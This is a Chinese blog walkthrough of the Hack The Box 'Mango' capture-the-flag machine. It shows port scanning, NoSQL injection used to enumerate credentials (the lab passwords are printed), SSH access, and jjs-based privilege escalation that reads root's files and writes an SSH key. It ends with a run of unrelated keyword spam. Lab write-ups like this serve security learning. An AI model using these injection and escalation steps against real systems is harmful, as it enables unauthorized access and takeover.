千家信息网

HTB Mango的渗透测试实例

发表于:2024-09-22 作者:千家信息网编辑
千家信息网最后更新 2024年09月22日,这篇文章主要讲解了"HTB Mango的渗透测试实例",文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习"HTB Mango的渗透测试实例"吧!前言本次演练使
千家信息网最后更新 2024年09月22日HTB Mango的渗透测试实例

这篇文章主要讲解了"HTB Mango的渗透测试实例",文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习"HTB Mango的渗透测试实例"吧!

前言

本次演练使用kali系统按照渗透测试的过程进行操作,通过前期的信息收集与普通注入不能获取到有用的信息,通过谷歌诸侯知道,可以利用 Nosql-MongoDB-injection爬取账号与密码,使用ssh远程连接获取user.txt最终通过提权获取root.txt。

一、信息收集

1、靶机ip

ip地址为:10.129.1.219

2、靶机端口与服务

nmap -sV -A -O 10.129.1.219

获取到开放端口与版本信息并且获得了正在使用的域名信息

PORT    STATE SERVICE  VERSION22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)80/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))

3、网站信息收集

查看80与443端口
发现443端口是一个类似于谷歌的搜索界面通过证书获得一些信息

二、漏洞探测与利用

Nosql-MongoDB-injection

将重点放在80端口,这个端口是一个登录界面,经过尝试通过普通的sql注入无法爬取到有用的信息
通过谷歌发现存在Nosql-MongoDB-injection可以利用脚本进行注入尝试获取账号与密码
链接:https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration

python3 nosqli-user-pass-enum.py -u http://staging-order.mango.htb/ -up username -pp password -ep username -op login:login,submit:submitpython3 nosqli-user-pass-enum.py -u http://staging-order.mango.htb/ -up username -pp password -ep password -op login:login,submit:submit

用户:admin 密码:t9KcS3>!0B#2
用户:mango 密码:h4mXK8RhU~f{]f5H

使用获得的账号密码进行登录
无论使用哪一个都会跳转到这个界面
通过ssh进行远程连接 并跳转到admin用户,否则无法查看到admin文件夹下的user.txt

三、提权

获取交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

使用LinEnum.sh查看是否存在可利用信息
最终根据提示找到了jjs可以利用jjs进行提权
使用GTFOBins 查看可利用脚本
链接:https://gtfobins.github.io/
(1) 通过运行文件读取命令直接获得root.txt

var BufferedReader = Java.type("java.io.BufferedReader");var FileReader = Java.type("java.io.FileReader");var br = new BufferedReader(new FileReader("/root/root.txt"));while ((line = br.readLine()) != null) { print(line); }

(2) 通过jjs上传我们自己生成的ssh公钥然后使用我们自己的私钥进行连接获取root权限

ssh-keygen

完善脚本信息

echo 'var FileWriter = Java.type("java.io.FileWriter");var fw=new FileWriter("./file_to_write");fw.write("DATA");fw.close();' | jjs

在获取的shell中执行脚本最后在kali中进行登录获取root权限

感谢各位的阅读,以上就是"HTB Mango的渗透测试实例"的内容了,经过本文的学习后,相信大家对HTB Mango的渗透测试实例这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是,小编将为大家推送更多相关知识点的文章,欢迎关注!

信息 端口 测试 密码 实例 脚本 用户 界面 账号 学习 登录 普通 内容 文件 有用 权限 链接 靶机 尝试 交互式 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 航班订票信息数据库建立 服务器是否能设置启动盘 三全数据库 认知障碍的数据库介绍写什么内容 网络安全周是哪个月 企业网络安全完整拓扑图 手机上网找不到服务器ip地址 戴尔电脑有光盘安装服务器系统 软件开发专业能报考公务员吗 软件开发八大规范 外网访问不了数据库 济南市网络安全办公室 徐汇区数据软件开发销售 畅游天下网络技术公司 服务器静态路由会消失吗 光盘数据库也属于文献 软件开发怎么运营公众号 数据库表加字段 火绒有关网络安全的技术 根据网络安全法年检 操作系统支撑软件开发是做什么 配置一个安装服务器失败 软件开发类作品文档模板 认知障碍的数据库介绍写什么内容 杨浦区上门软件开发优化价格 浙江新能源软件开发价格表格 远景能源软件开发中心 原版服务器怎么tp 在联通做软件开发 计算机网络技术十年发展方向
0